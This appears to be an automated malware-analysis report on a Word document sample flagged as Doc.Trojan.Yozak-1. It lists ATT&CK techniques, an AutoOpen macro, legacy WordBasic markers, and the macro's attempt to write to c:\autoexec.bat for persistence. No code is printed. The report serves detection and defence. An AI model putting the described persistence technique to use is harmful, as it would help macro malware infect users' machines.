MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains legacy WordBasic and VBA macros, including an autoopen macro, which are indicative of malicious intent. The script attempts to display multiple message boxes with cryptic text and mentions 'yozak', potentially related to the ClamAV detection name 'Doc.Trojan.Yozak-1'. It also attempts to write to 'c:\autoexec.bat', suggesting an attempt to establish persistence or drop additional payloads.

Heuristics 4

  • ClamAV: Doc.Trojan.Yozak-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Yozak-1
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
